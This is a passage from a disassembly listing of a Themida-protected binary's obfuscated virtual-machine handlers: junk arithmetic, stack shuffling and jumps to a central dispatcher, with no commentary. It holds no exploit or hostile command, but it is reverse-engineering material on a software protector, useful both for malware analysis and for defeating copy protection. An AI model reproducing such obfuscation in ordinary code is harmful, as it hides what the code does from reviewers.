XREF: Themida_:0055609Fj push edi mov edi, 8A15516h jmp loc_555B01 ; --------------------------------------------------------------------------- loc_555843: ; CODE XREF: Themida_:00558016j mov [esp], esi push eax push edx push 1EB65994h jmp loc_55BC41 ; --------------------------------------------------------------------------- jmp loc_551815 ; --------------------------------------------------------------------------- loc_555857: ; CODE XREF: Themida_:005529ECj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55585C: ; CODE XREF: Themida_:005558ECj sub al, bl jmp loc_556594 ; --------------------------------------------------------------------------- loc_555863: ; CODE XREF: Themida_:0055C1EBj mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] jmp loc_555BF3 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebx jmp loc_558074 ; --------------------------------------------------------------------------- loc_55588B: ; CODE XREF: Themida_:00558763j sub esi, 1 jmp loc_555B48 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_55442E ; --------------------------------------------------------------------------- loc_55589E: ; CODE XREF: Themida_:005559B2j pop edi push esi push eax jmp loc_552056 ; --------------------------------------------------------------------------- loc_5558A6: ; CODE XREF: Themida_:00556100j xor bh, 67h sub ch, bh pop ebx sub ch, bl add ch, 1Eh pop ebx jmp loc_55C543 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_551815 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_555307 ; --------------------------------------------------------------------------- loc_5558D8: ; CODE XREF: Themida_:0055B7C0j shl byte ptr [esp], cl pushf jmp loc_55197C ; --------------------------------------------------------------------------- loc_5558E1: ; CODE XREF: Themida_:00554B41j inc edx jmp loc_5573AA ; --------------------------------------------------------------------------- lodsb sub al, 38h add al, 2Ch jmp loc_55585C ; --------------------------------------------------------------------------- loc_5558F1: ; CODE XREF: Themida_:0055B0C3j and esi, 62F569FFh add esi, 5CB67268h shl esi, 1 jmp loc_5578AC ; --------------------------------------------------------------------------- loc_555904: ; CODE XREF: Themida_:00557C52j mov bh, 99h or ch, bh pop bx not ch jmp loc_558BBA ; --------------------------------------------------------------------------- loc_555911: ; CODE XREF: Themida_:0055C136j sub al, cl jmp loc_55DAE0 ; --------------------------------------------------------------------------- loc_555918: ; CODE XREF: Themida_:0055D3FFj mov dl, 2Eh jmp loc_55276A ; --------------------------------------------------------------------------- loc_55591F: ; CODE XREF: Themida_:005553D4j mov ecx, 5CAD7117h sub ebx, ecx pop ecx jmp loc_559B9E ; --------------------------------------------------------------------------- loc_55592C: ; CODE XREF: Themida_:005587EAj push edi push ebx mov ebx, 2 jmp loc_559947 ; --------------------------------------------------------------------------- loc_555938: ; CODE XREF: Themida_:005554DFj sub ecx, 26977663h sub ecx, 0D45534Ah jmp loc_55871F ; --------------------------------------------------------------------------- loc_555949: ; CODE XREF: Themida_:00553086j sub esp, 4 mov [esp], eax mov eax, 6CCB33C6h shl eax, 5 jmp loc_552FAA ; --------------------------------------------------------------------------- loc_55595C: ; CODE XREF: Themida_:0055B89Cj push bx mov bl, 0E1h xor ch, bl mov bx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] pop esp push ebx mov bl, ch mov ah, bl jmp loc_55A988 ; --------------------------------------------------------------------------- loc_555983: ; CODE XREF: Themida_:00555A16j pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi mov edi, [esp] jmp loc_55C834 ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 34890000h, 3E1F6824h, 94E90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559AF: ; CODE XREF: Themida_:0055A9EDj pop ecx push edi push esp jmp loc_55589E ; --------------------------------------------------------------------------- loc_5559B7: ; CODE XREF: Themida_:0055882Aj add esp, 4 xor bl, al jmp loc_55A0CA ; --------------------------------------------------------------------------- loc_5559C1: ; CODE XREF: Themida_:00558AF9j mov esp, [esp] mov [esp], ebp mov ebp, ebx push 1542h mov [esp], ebp jmp loc_556065 ; --------------------------------------------------------------------------- loc_5559D6: ; CODE XREF: Themida_:005557EDj push ecx mov ecx, 600A38AFh mov eax, 600A38AFh xor eax, ecx pop ecx add eax, edx add dword ptr [eax], 1 mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 loc_555A01: ; CODE XREF: Themida_:0055BDA9j push 2248h jmp loc_55D07C ; --------------------------------------------------------------------------- push 6859h push 2EFBh push esp jmp loc_555983 ; --------------------------------------------------------------------------- loc_555A1B: ; CODE XREF: Themida_:00556BBCj pop ebp mov esi, ebx pop ebx push esi pop ebx pop esi xor eax, ebx pop ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5552A4 ; --------------------------------------------------------------------------- loc_555A3F: ; CODE XREF: Themida_:0055D172j add eax, 6EE43874h xor eax, 5FD50C0Fh add ecx, eax jmp loc_551FE0 ; --------------------------------------------------------------------------- loc_555A50: ; CODE XREF: Themida_:00554933j mov ecx, [esp] push 12A2h mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, edx push edx sub esp, 4 mov [esp], edi push ebp jmp loc_55A74B ; --------------------------------------------------------------------------- loc_555A7C: ; CODE XREF: Themida_:005593DAj mov bh, 0F5h mov ch, bh jmp loc_555DD1 ; --------------------------------------------------------------------------- loc_555A85: ; CODE XREF: Themida_:0055B012j add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_553D0D ; --------------------------------------------------------------------------- loc_555A92: ; CODE XREF: Themida_:005527F0j xchg ecx, [esp] mov esp, [esp] or eax, eax jz loc_5531C4 push ebx mov ebx, 1Ch push edx mov edx, 163F20DAh add ebx, edx pop edx add ebx, edi push edx mov edx, 163F20DAh sub ebx, edx mov edx, [esp] push esi push esp jmp loc_55962F ; --------------------------------------------------------------------------- loc_555AC3: ; CODE XREF: Themida_:0055426Bj add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ecx, [esp] jmp loc_559984 ; --------------------------------------------------------------------------- loc_555ADB: ; CODE XREF: Themida_:0055BC23j pop esp push edx mov edx, 27D7667Eh sub ebx, edx pop edx sub ebx, 7974374Bh add ebx, edi add ebx, 7974374Bh add ebx, 27D7667Eh push dword ptr [ebx] push esi jmp loc_559437 ; --------------------------------------------------------------------------- loc_555B01: ; CODE XREF: Themida_:0055583Ej add edi, 27E23176h and edi, 1CDE53B4h and edi, 63306A86h dec edi xchg esi, edi jmp loc_559829 ; --------------------------------------------------------------------------- loc_555B1B: ; CODE XREF: Themida_:00553DAAj xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push ebx mov ebx, 591C585Bh xor [esp+4], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax push 4BE5h mov [esp], edi jmp loc_558175 ; --------------------------------------------------------------------------- loc_555B48: ; CODE XREF: Themida_:0055588Ej add esi, 0DF76B92Eh add ebx, esi mov esi, [esp] add esp, 4 push edx mov edx, 4 add ebx, edx pop edx jmp loc_554E93 ; --------------------------------------------------------------------------- loc_555B67: ; CODE XREF: Themida_:00558F98j mov ecx, [esp] add esp, 4 sub eax, 13369C5h push ecx jmp loc_55D8BA ; --------------------------------------------------------------------------- loc_555B7B: ; CODE XREF: Themida_:0055AA13j add al, 0Fh sub al, bl push ebx mov bh, 6Eh jmp loc_558D0C ; --------------------------------------------------------------------------- loc_555B87: ; CODE XREF: Themida_:0055789Aj xor cl, 79h jmp loc_55C3BE ; --------------------------------------------------------------------------- loc_555B8F: ; CODE XREF: Themida_:0055D40Dj mov [esp], eax push esp pop eax add eax, 4 jmp loc_55CA52 ; --------------------------------------------------------------------------- loc_555B9E: ; CODE XREF: Themida_:0055DBCCj push edi push 4 pop edi jmp loc_559463 ; --------------------------------------------------------------------------- loc_555BAA: ; CODE XREF: Themida_:00553D6Fj not al add al, 0FFh sub al, 1Dh sub dl, 56h jmp loc_55BD05 ; --------------------------------------------------------------------------- loc_555BB8: ; CODE XREF: Themida_:0055911Aj pop esp mov cx, [esp] push ebp push eax mov eax, esp jmp loc_55824B ; --------------------------------------------------------------------------- loc_555BC6: ; CODE XREF: Themida_:0055CC32j push ebx mov ebx, 1E20F26h mov edi, ebx pop ebx shr edi, 3 sub edi, 3C41E0h jmp loc_554088 ; --------------------------------------------------------------------------- loc_555BDD: ; CODE XREF: Themida_:00555790j xor edi, ebx pop ebx add ebx, 26491C75h sub ebx, edi sub ebx, 26491C75h jmp loc_559749 ; --------------------------------------------------------------------------- loc_555BF3: ; CODE XREF: Themida_:00555877j push ecx mov ch, 18h and ch, 8Dh add ch, 0CBh shl ch, 1 add ch, 1 jmp loc_55488C ; --------------------------------------------------------------------------- loc_555C06: ; CODE XREF: Themida_:00553671j add ebp, 37B16961h push edx mov edx, 60B03B35h shl edx, 8 or edx, 45C67D47h shl edx, 2 xor edx, 392A6304h push edi mov edi, 68227BCDh jmp loc_555DCA ; --------------------------------------------------------------------------- loc_555C2F: ; CODE XREF: Themida_:00553A19j push ebx push edx push ebp mov ebp, 73891F27h mov edx, ebp pop ebp neg edx neg edx and edx, 223756ACh shr edx, 8 push ebx mov ebx, 409D2540h xor edx, ebx pop ebx mov ebx, edx pop edx add ebx, 0BF40DC2Ah and ecx, ebx jmp loc_55C61A ; --------------------------------------------------------------------------- loc_555C60: ; CODE XREF: Themida_:0055AC59j push edi mov edi, 9441F15Fh sub esi, 0F536B3h sub esi, edi add esi, 0F536B3h pop edi jmp loc_55DC4C ; --------------------------------------------------------------------------- loc_555C7A: ; CODE XREF: Themida_:00552EB1j shl ebp, 3 push edi mov edi, 0FFFFFFFFh jmp loc_5571E2 ; --------------------------------------------------------------------------- loc_555C88: ; CODE XREF: Themida_:00553EF5j mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_555C9E: ; CODE XREF: Themida_:00557F40j xor ebx, 0B1A5143h mov edi, ebx jmp loc_55B64A ; --------------------------------------------------------------------------- loc_555CAB: ; CODE XREF: Themida_:0055848Fj push edx jmp loc_554CA9 ; --------------------------------------------------------------------------- loc_555CB1: ; CODE XREF: Themida_:00551D4Dj add al, 4Ch push ecx mov cl, 0Fh sub cl, 0C5h push bx push ecx jmp loc_55788C ; --------------------------------------------------------------------------- loc_555CC1: ; CODE XREF: Themida_:0055370Bj mov si, 1119h xor si, 1CA7h sub si, 25DBh inc si neg si sub si, 4B5Ch jmp loc_558276 ; --------------------------------------------------------------------------- loc_555CDE: ; CODE XREF: Themida_:00552E14j pop ebx sub esi, ebx pop ebx xchg ebp, esi not ebp xchg ebp, esi shr esi, 4 jmp loc_5528B0 ; --------------------------------------------------------------------------- loc_555CF0: ; CODE XREF: Themida_:0055BB2Cj mov ebp, 7DA53ACBh shr ebp, 7 push eax jmp loc_556198 ; --------------------------------------------------------------------------- loc_555CFE: ; CODE XREF: Themida_:005582DBj mov edx, 225C619Dh shl edx, 1 add edx, 23380899h jmp loc_559E17 ; --------------------------------------------------------------------------- loc_555D10: ; CODE XREF: Themida_:00557AB9j mov ecx, 5B013524h sub ebx, ecx pop ecx push edx mov edx, 489155B4h jmp loc_558115 ; --------------------------------------------------------------------------- loc_555D23: ; CODE XREF: Themida_:005554BBj pop esp jmp loc_551F48 ; --------------------------------------------------------------------------- loc_555D29: ; CODE XREF: Themida_:0055D270j sub eax, 44D31987h jmp loc_558446 ; --------------------------------------------------------------------------- loc_555D33: ; CODE XREF: Themida_:00556171j sub dword ptr [esp], 1BFB2252h pop esi jmp loc_55AA7B ; --------------------------------------------------------------------------- loc_555D40: ; CODE XREF: Themida_:005521DCj mov [esp], edx mov edx, esp push esi mov esi, 3FAE4485h shr esi, 3 xor esi, 7D9804E5h jmp loc_55D2A5 ; --------------------------------------------------------------------------- loc_555D59: ; CODE XREF: Themida_:00556609j or cx, 1748h sub cx, 0DF2Dh sub ax, 4C74h sub ax, cx push si mov si, 4C74h jmp loc_55B5D1 ; --------------------------------------------------------------------------- loc_555D75: ; CODE XREF: Themida_:00558C2Aj mov eax, edx pop edx sub ecx, eax mov eax, [esp] add esp, 4 push ecx pop ebx pop ecx or [edi+1Ch], ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_552CF8 ; --------------------------------------------------------------------------- loc_555DA2: ; CODE XREF: Themida_:0055D0CFj mov esi, esp add esi, 4 jmp loc_55B42B ; --------------------------------------------------------------------------- loc_555DAF: ; CODE XREF: Themida_:0055BDF9j add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, 21CE14A8h jmp loc_55AC77 ; --------------------------------------------------------------------------- loc_555DC1: ; CODE XREF: Themida_:0055CC5Bj mov dh, 6Eh shr dh, 1 jmp loc_558039 ; --------------------------------------------------------------------------- loc_555DCA: ; CODE XREF: Themida_:00555C2Aj or edx, edi jmp loc_55568C ; --------------------------------------------------------------------------- loc_555DD1: ; CODE XREF: Themida_:00555A80j pop ebx jmp loc_553C3E ; --------------------------------------------------------------------------- loc_555DD7: ; CODE XREF: Themida_:00555FFEj dec esi inc esi jmp loc_557671 ; --------------------------------------------------------------------------- mov ecx, [esp] push 0B5Ch mov [esp], edx mov edx, esp push ecx mov ecx, 228603DEh sub ecx, 177623EBh neg ecx add ecx, 0B0FDFF7h add edx, 5BFF4BBBh add edx, ecx push edi push ecx mov ecx, 3C691ABFh mov edi, 9C715EB1h sub edi, ecx pop ecx xor edi, 4AD769FCh jmp loc_559DBA ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:0055C8D5j mov [esp], ebp push 5F6D6C22h pop ebp jmp loc_557587 ; --------------------------------------------------------------------------- loc_555E2F: ; CODE XREF: Themida_:00559205j sub esp, 4 mov [esp], edi mov edi, 2D62623Dh dec edi not edi add edi, 6024404Fh push edx mov edx, 76082B7Ah sub edi, edx pop edx xor edi, 8002C88Dh add eax, edi pop edi add eax, 5B2B5951h sub eax, ebx jmp loc_55A7CE ; --------------------------------------------------------------------------- loc_555E64: ; CODE XREF: Themida_:0055D1DAj xor ebx, edi pop edi and eax, ebx jmp loc_55BA14 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edi jmp loc_55C96C ; --------------------------------------------------------------------------- loc_555E77: ; CODE XREF: Themida_:00552C7Ej mov eax, 4 add ecx, 4D3327C7h sub ecx, eax sub ecx, 4D3327C7h pop eax push 46C9h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, 800h push ebp jmp loc_55347D ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 581A11F9h or ecx, 62F24C50h push ebx mov ebx, 50DD6467h shl ebx, 6 add ebx, 34D261F1h push ebp mov ebp, 1B1D23F8h inc ebp sub ebp, 38001A0Eh and ebp, 230E5812h inc ebp add ebp, 1A4B5ABCh xor ebx, ebp pop ebp add ebx, 297E44E7h jmp loc_55C4DA ; --------------------------------------------------------------------------- loc_555F00: ; CODE XREF: Themida_:005554AAj sub esi, eax pop eax shl esi, 1 xor esi, 17EC4845h jmp loc_559F59 ; --------------------------------------------------------------------------- loc_555F10: ; CODE XREF: Themida_:00554EE1j add eax, edx sub eax, 1DB41175h mov edx, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp rol word ptr [esp], cl pushf jmp loc_557077 ; --------------------------------------------------------------------------- loc_555F34: ; CODE XREF: Themida_:005553BDj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp xor eax, 591C585Bh push 790Dh mov [esp], edi push 80000h push dword ptr [esp] pop edi push edi push esp mov edi, [esp] add esp, 4 jmp loc_551A3B ; --------------------------------------------------------------------------- loc_555F6B: ; CODE XREF: Themida_:00559F07j mov esi, edi pop edi add ecx, 13440421h jmp loc_556074 ; --------------------------------------------------------------------------- loc_555F79: ; CODE XREF: Themida_:0055D7D9j pop ebx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_556E29 ; --------------------------------------------------------------------------- loc_555F8E: ; CODE XREF: Themida_:0055B21Cj pop ecx jmp loc_55DD56 ; --------------------------------------------------------------------------- loc_555F94: ; CODE XREF: Themida_:0055A5E6j push dword ptr [esp] mov edx, [esp] jmp loc_55B59C ; --------------------------------------------------------------------------- loc_555F9F: ; CODE XREF: Themida_:005597A7j mov [esp], esp add dword ptr [esp], 4 jmp loc_5575F7 ; --------------------------------------------------------------------------- loc_555FAE: ; CODE XREF: Themida_:005522F3j pop eax rep movsd add esp, [edx+38h] push 1463h mov [esp], ecx push eax jmp loc_55B357 ; --------------------------------------------------------------------------- loc_555FC2: ; CODE XREF: Themida_:0055B33Fj add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_555FCD: ; CODE XREF: Themida_:0055CA40j sub esp, 4 jmp loc_558B75 ; --------------------------------------------------------------------------- loc_555FD8: ; CODE XREF: Themida_:005525C9j push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 0 sub [esp], esi mov esi, [esp] add esp, 4 jmp loc_555DD7 ; --------------------------------------------------------------------------- loc_556003: ; CODE XREF: Themida_:005519AFj mov bl, 0E7h shr bl, 4 jmp loc_5535E7 ; --------------------------------------------------------------------------- loc_55600D: ; CODE XREF: Themida_:00557DEAj pop esp mov [esp], ebx push esp pop ebx push 2A24h mov [esp], edi mov edi, 4 add ebx, edi jmp loc_559657 ; --------------------------------------------------------------------------- loc_556027: ; CODE XREF: Themida_:0055C4E7j push eax mov eax, 7DD23874h add edi, eax pop eax add edi, ebx sub edi, 7DD23874h jmp loc_5555F6 ; --------------------------------------------------------------------------- loc_55603D: ; CODE XREF: Themida_:005580C8j sub ebp, 678D4775h pop edi sub ebp, 9BA82421h and ecx, ebp jmp loc_55DCC9 ; --------------------------------------------------------------------------- loc_556051: ; CODE XREF: Themida_:005524AAj pop ebx add esi, ebx jmp loc_55662D ; --------------------------------------------------------------------------- loc_556059: ; CODE XREF: Themida_:00554A48j mov esp, [esp] dec dword ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556065: ; CODE XREF: Themida_:005559D1j push edi mov edi, 21CE14A8h add [esp+4], edi jmp loc_556FCD ; --------------------------------------------------------------------------- loc_556074: ; CODE XREF: Themida_:00555F74j add ecx, esi jmp loc_554CD8 ; --------------------------------------------------------------------------- loc_55607B: ; CODE XREF: Themida_:0055A436j pop ecx push ecx jmp loc_554FB3 ; --------------------------------------------------------------------------- loc_556082: ; CODE XREF: Themida_:00554083j push 500Bh mov [esp], ebp jmp loc_55831C ; --------------------------------------------------------------------------- loc_55608F: ; CODE XREF: Themida_:00556AEAj xchg eax, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 62415C2Fh not ebx jmp loc_555838 ; --------------------------------------------------------------------------- loc_5560A4: ; CODE XREF: Themida_:0055B0B0j sub al, 0D8h sub al, 30h mov dx, [esp] add esp, 2 sub esp, 4 mov [esp], ebx mov bl, 34h push 739h mov [esp], edx sub esp, 4 mov [esp], ecx push ebx jmp loc_555731 ; --------------------------------------------------------------------------- loc_5560CB: ; CODE XREF: Themida_:0055871Aj sub ecx, 79800C96h jmp loc_55655F ; --------------------------------------------------------------------------- loc_5560D6: ; CODE XREF: Themida_:0055A7FDj push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_558791 ; --------------------------------------------------------------------------- loc_5560F2: ; CODE XREF: Themida_:0055998Cj push dword ptr [esp] jmp loc_553789 ; --------------------------------------------------------------------------- loc_5560FA: ; CODE XREF: Themida_:00552948j push ebx mov bl, 81h push ebx mov bh, 79h jmp loc_5558A6 ; --------------------------------------------------------------------------- loc_556105: ; CODE XREF: Themida_:00551CA0j push eax mov al, 72h sub al, 89h add al, 0C4h mov ch, al pop eax mov al, ch pop ecx dec al sub al, 56h jmp loc_5585FA ; --------------------------------------------------------------------------- loc_55611B: ; CODE XREF: Themida_:005595C5j mov cx, [esp] sub esp, 4 mov [esp], edx jmp loc_55A48B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_555567 ; --------------------------------------------------------------------------- loc_556136: ; CODE XREF: Themida_:00556D59j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_55BBB0 ; --------------------------------------------------------------------------- loc_556149: ; CODE XREF: Themida_:00552C72j xchg esi, [esp] mov esp, [esp] jmp loc_5549DC ; --------------------------------------------------------------------------- loc_556154: ; CODE XREF: Themida_:0055B13Cj pop ebx pop dword ptr [esp] pop esp jmp loc_553198 ; --------------------------------------------------------------------------- loc_55615E: ; CODE XREF: Themida_:0055258Bj mov [esp], esp add dword ptr [esp], 4 pop edx push esi push ebp mov ebp, 4 push ebp jmp loc_555D33 ; --------------------------------------------------------------------------- loc_556176: ; CODE XREF: Themida_:00554F82j pop ebp xor eax, ecx jmp loc_557417 ; --------------------------------------------------------------------------- loc_55617E: ; CODE XREF: Themida_:00554A79j add esi, 2D5E4A7Dh jmp loc_552963 ; --------------------------------------------------------------------------- loc_556189: ; CODE XREF: Themida_:0055B492j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556198: ; CODE XREF: Themida_:00555CF9j mov eax, 76C742DFh jmp loc_556FE1 ; --------------------------------------------------------------------------- loc_5561A2: ; CODE XREF: Themida_:0055334Aj xor ecx, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5561B2: ; CODE XREF: Themida_:0055B206j sub ebx, 12A765AAh push ebp mov ebp, 92437B0h inc ebp shr ebp, 3 or ebp, 110C62ACh xor ebp, 40787CB3h add ebx, ebp pop ebp add esi, ebx pop ebx add esi, 2 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55A3A5 ; --------------------------------------------------------------------------- loc_5561ED: ; CODE XREF: Themida_:0055653Cj pop edx push dword ptr [esp] pop ebx push edx mov edx, esp add edx, 4 push edi push 5B70h jmp loc_55B02B ; --------------------------------------------------------------------------- loc_556206: ; CODE XREF: Themida_:0055C672j add esp, 4 xor al, bh jmp loc_556E1F ; --------------------------------------------------------------------------- loc_556213: ; CODE XREF: Themida_:0055A502j pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55351D ; --------------------------------------------------------------------------- loc_556225: ; CODE XREF: Themida_:005576B0j mov [esp], ebx jmp loc_55BA7C ; --------------------------------------------------------------------------- loc_55622D: ; CODE XREF: Themida_:00557770j mov edx, esp add edx, 4 add edx, 4 jmp loc_55710C ; --------------------------------------------------------------------------- loc_55623D: ; CODE XREF: Themida_:00558CF5j mov [esp], ebx sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_553263 ; --------------------------------------------------------------------------- loc_556256: ; CODE XREF: Themida_:00552B3Cj shr eax, 7 sub eax, 0A95AE6DFh add esi, eax pop eax neg esi xor esi, 0F9AA0CFCh sub ebx, 29C5B2Fh add ebx, esi add ebx, 29C5B2Fh pop esi add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556291: ; CODE XREF: Themida_:0055B267j add edx, edi jmp loc_553836 ; --------------------------------------------------------------------------- loc_556298: ; CODE XREF: Themida_:0055DA53j push 6DFD6AEBh pop esi add esi, 24697384h add esi, 6D992195h jmp loc_552A7B ; --------------------------------------------------------------------------- loc_5562AF: ; CODE XREF: Themida_:0055D480j pop esi push ebp mov ebp, 21754230h jmp loc_55AE05 ; --------------------------------------------------------------------------- loc_5562BB: ; CODE XREF: Themida_:005543CDj push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_553AEB ; --------------------------------------------------------------------------- loc_5562CB: ; CODE XREF: Themida_:0055830Cj xchg edi, [esp] pop esp and eax, 289C400Dh sub eax, 20880007h jmp loc_5573C4 ; --------------------------------------------------------------------------- loc_5562DE: ; CODE XREF: Themida_:00553CF6j pop eax jmp loc_55B7F2 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push ecx jmp loc_5532F5 ; --------------------------------------------------------------------------- loc_5562EE: ; CODE XREF: Themida_:0055C168j pop esp or eax, eax jz loc_55BC58 push dword ptr [edi+1Ch] sub dword ptr [esp], 0A7C1202h pop ecx jmp loc_556B18 ; --------------------------------------------------------------------------- loc_556307: ; CODE XREF: Themida_:00557C34j sub ecx, 1 xor ecx, 0CB34ABA4h jmp loc_553572 ; --------------------------------------------------------------------------- loc_556315: ; CODE XREF: Themida_:0055A8EEj pop ebp and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 jmp loc_55BDA7 ; --------------------------------------------------------------------------- loc_556330: ; CODE XREF: Themida_:005531E0j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_552E19 ; --------------------------------------------------------------------------- loc_556347: ; CODE XREF: Themida_:00555687j sub dword ptr [esp+4], 55A50FD1h sub [esp+4], esi add dword ptr [esp+4], 55A50FD1h push ebx mov ebx, 6B444E6Ah add dword ptr [esp+8], 38596494h jmp loc_55DB92 ; --------------------------------------------------------------------------- loc_55636E: ; CODE XREF: Themida_:00559956j mov esp, [esp] btr [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55637C: ; CODE XREF: Themida_:00558A90j push ecx mov ecx, 462C021Ah add eax, ecx pop ecx add eax, 72794B48h jmp loc_556C0E ; --------------------------------------------------------------------------- loc_55638F: ; CODE XREF: Themida_:00553108j mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_551D52 ; --------------------------------------------------------------------------- loc_5563A6: ; CODE XREF: Themida_:0055D6BEj add ebx, 4 sub ebx, 4 jmp loc_559019 ; --------------------------------------------------------------------------- loc_5563B7: ; CODE XREF: Themida_:0055320Cj mov ebp, edx mov edx, [esp] push eax mov eax, esp jmp loc_558603 ; --------------------------------------------------------------------------- loc_5563C4: ; CODE XREF: Themida_:00556E0Fj xchg ebp, [esp] jmp loc_55A5A1 ; --------------------------------------------------------------------------- loc_5563CC: ; CODE XREF: Themida_:00559FD3j xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push eax sub esp, 4 jmp loc_5527D4 ; --------------------------------------------------------------------------- loc_5563DF: ; CODE XREF: Themida_:0055D9D5j shr ebp, 5 add ebp, 0FECF4DCAh add edx, ebp pop ebp push edi push ebp mov ebp, 51021514h jmp loc_55659D ; --------------------------------------------------------------------------- loc_5563F7: ; CODE XREF: Themida_:0055DD1Cj sub edi, 3DF704D0h sub edi, edx add edi, 3DF704D0h push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55402F ; --------------------------------------------------------------------------- loc_556413: ; CODE XREF: Themida_:005579EDj push 0D79h mov [esp], ebx push ecx push 6B6D055Ah mov ecx, [esp] add esp, 4 push 6999h mov [esp], eax jmp loc_552F00 ; --------------------------------------------------------------------------- loc_556437: ; CODE XREF: Themida_:0055CDF6j mov edx, [esp] add esp, 4 add edi, 8810F3FAh add eax, edi pop edi sub eax, edx push ecx mov ecx, 4B418B1h sub ecx, 15AF69Ch sub eax, ecx pop ecx pop edx xchg eax, [esp] pop esp mov [esp], eax jmp loc_55D60B ; --------------------------------------------------------------------------- loc_556467: ; CODE XREF: Themida_:00557A04j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 jmp loc_559776 ; --------------------------------------------------------------------------- loc_55648E: ; CODE XREF: Themida_:0055C9F5j jmp loc_551815 ; --------------------------------------------------------------------------- loc_556493: ; CODE XREF: Themida_:005598B0j sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push ebx push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], eax jmp loc_55A72E ; --------------------------------------------------------------------------- loc_5564B9: ; CODE XREF: Themida_:00557943j add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_554938 ; --------------------------------------------------------------------------- loc_5564C6: ; CODE XREF: Themida_:00555294j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 4 sub esi, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_553F49 ; --------------------------------------------------------------------------- loc_5564EE: ; CODE XREF: Themida_:00558539j mov eax, 46633AFBh add ebp, eax pop eax mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_556A50 ; --------------------------------------------------------------------------- loc_55650D: ; CODE XREF: Themida_:00553F6Ej add [esp+4], edi jmp loc_55A02B ; --------------------------------------------------------------------------- loc_556516: ; CODE XREF: Themida_:0055D856j add ebx, 2E8D42DEh add eax, ebx pop ebx add eax, ebx sub eax, 3692603Fh pop ebx push esi mov esi, 2 add eax, esi pop esi xchg eax, [esp] pop esp push ebx mov bl, dl push edx mov dh, bl mov [eax], dh jmp loc_5561ED ; --------------------------------------------------------------------------- loc_556541: ; CODE XREF: Themida_:00556E88j xor ebp, 0ABC0E285h add ecx, ebp jmp loc_55AC38 ; --------------------------------------------------------------------------- loc_55654E: ; CODE XREF: Themida_:0055ABCBj mov esi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55655F: ; CODE XREF: Themida_:005560D1j push ecx xor dword ptr 